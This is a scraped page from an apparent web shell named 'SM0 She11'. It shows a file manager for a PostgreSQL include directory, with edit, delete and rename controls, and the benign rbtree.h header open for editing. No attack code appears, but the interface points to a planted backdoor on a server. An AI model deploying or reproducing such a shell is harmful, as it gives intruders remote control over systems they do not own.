SM0 She11
Path:
/
/
usr
/
include
/
pgsql
/
server
/
utils
Full Path (server): /usr/include/pgsql/server/utils
Create Fil3
Upl04d Fil3
📄 acl.h
[E]
[D]
[R]
📄 array.h
[E]
[D]
[R]
📄 ascii.h
[E]
[D]
[R]
📄 attoptcache.h
[E]
[D]
[R]
📄 builtins.h
[E]
[D]
[R]
📄 bytea.h
[E]
[D]
[R]
📄 cash.h
[E]
[D]
[R]
📄 catcache.h
[E]
[D]
[R]
📄 combocid.h
[E]
[D]
[R]
📄 date.h
[E]
[D]
[R]
📄 datetime.h
[E]
[D]
[R]
📄 datum.h
[E]
[D]
[R]
📄 dynahash.h
[E]
[D]
[R]
📄 dynamic_loader.h
[E]
[D]
[R]
📄 elog.h
[E]
[D]
[R]
📄 errcodes.h
[E]
[D]
[R]
📄 fmgroids.h
[E]
[D]
[R]
📄 fmgrtab.h
[E]
[D]
[R]
📄 formatting.h
[E]
[D]
[R]
📄 geo_decls.h
[E]
[D]
[R]
📄 guc.h
[E]
[D]
[R]
📄 guc_tables.h
[E]
[D]
[R]
📄 help_config.h
[E]
[D]
[R]
📄 hsearch.h
[E]
[D]
[R]
📄 inet.h
[E]
[D]
[R]
📄 int8.h
[E]
[D]
[R]
📄 inval.h
[E]
[D]
[R]
📄 json.h
[E]
[D]
[R]
📄 logtape.h
[E]
[D]
[R]
📄 lsyscache.h
[E]
[D]
[R]
📄 memutils.h
[E]
[D]
[R]
📄 nabstime.h
[E]
[D]
[R]
📄 numeric.h
[E]
[D]
[R]
📄 palloc.h
[E]
[D]
[R]
📄 pg_crc.h
[E]
[D]
[R]
📄 pg_crc_tables.h
[E]
[D]
[R]
📄 pg_locale.h
[E]
[D]
[R]
📄 pg_lzcompress.h
[E]
[D]
[R]
📄 pg_rusage.h
[E]
[D]
[R]
📄 plancache.h
[E]
[D]
[R]
📄 portal.h
[E]
[D]
[R]
📄 probes.h
[E]
[D]
[R]
📄 ps_status.h
[E]
[D]
[R]
📄 rangetypes.h
[E]
[D]
[R]
📄 rbtree.h
[E]
[D]
[R]
📄 rel.h
[E]
[D]
[R]
📄 relcache.h
[E]
[D]
[R]
📄 relmapper.h
[E]
[D]
[R]
📄 reltrigger.h
[E]
[D]
[R]
📄 resowner.h
[E]
[D]
[R]
📄 selfuncs.h
[E]
[D]
[R]
📄 snapmgr.h
[E]
[D]
[R]
📄 snapshot.h
[E]
[D]
[R]
📄 sortsupport.h
[E]
[D]
[R]
📄 spccache.h
[E]
[D]
[R]
📄 syscache.h
[E]
[D]
[R]
📄 timestamp.h
[E]
[D]
[R]
📄 tqual.h
[E]
[D]
[R]
📄 tuplesort.h
[E]
[D]
[R]
📄 tuplestore.h
[E]
[D]
[R]
📄 typcache.h
[E]
[D]
[R]
📄 tzparser.h
[E]
[D]
[R]
📄 uuid.h
[E]
[D]
[R]
📄 varbit.h
[E]
[D]
[R]
📄 xml.h
[E]
[D]
[R]
Editing: rbtree.h
/*------------------------------------------------------------------------- * * rbtree.h * interface for PostgreSQL generic Red-Black binary tree package * * Copyright (c) 2009-2012, PostgreSQL Global Development Group * * IDENTIFICATION * src/include/utils/rbtree.h * *------------------------------------------------------------------------- */ #ifndef RBTREE_H #define RBTREE_H /* * RBNode is intended to be used as the first field of a larger struct, * whose additional fields carry whatever payload data the caller needs * for a tree entry. (The total size of that larger struct is passed to * rb_create.) RBNode is declared here to support this usage, but * callers must treat it as an opaque struct. */ typedef struct RBNode { char iteratorState; /* workspace for iterating through tree */ char color; /* node's current color, red or black */ struct RBNode *left; /* left child, or RBNIL if none */ struct RBNode *right; /* right child, or RBNIL if none */ struct RBNode *parent; /* parent, or NULL (not RBNIL!) if none */ } RBNode; /* Opaque struct representing a whole tree */ typedef struct RBTree RBTree; /* Available tree iteration orderings */ typedef enum RBOrderControl { LeftRightWalk, /* inorder: left child, node, right child */ RightLeftWalk, /* reverse inorder: right, node, left */ DirectWalk, /* preorder: node, left child, right child */ InvertedWalk /* postorder: left child, right child, node */ } RBOrderControl; /* Support functions to be provided by caller */ typedef int (*rb_comparator) (const RBNode *a, const RBNode *b, void *arg); typedef void (*rb_combiner) (RBNode *existing, const RBNode *newdata, void *arg); typedef RBNode *(*rb_allocfunc) (void *arg); typedef void (*rb_freefunc) (RBNode *x, void *arg); extern RBTree *rb_create(Size node_size, rb_comparator comparator, rb_combiner combiner, rb_allocfunc allocfunc, rb_freefunc freefunc, void *arg); extern RBNode *rb_find(RBTree *rb, const RBNode *data); extern RBNode *rb_leftmost(RBTree *rb); extern RBNode *rb_insert(RBTree *rb, const RBNode *data, bool *isNew); extern void rb_delete(RBTree *rb, RBNode *node); extern void rb_begin_iterate(RBTree *rb, RBOrderControl ctrl); extern RBNode *rb_iterate(RBTree *rb); #endif /* RBTREE_H */
Save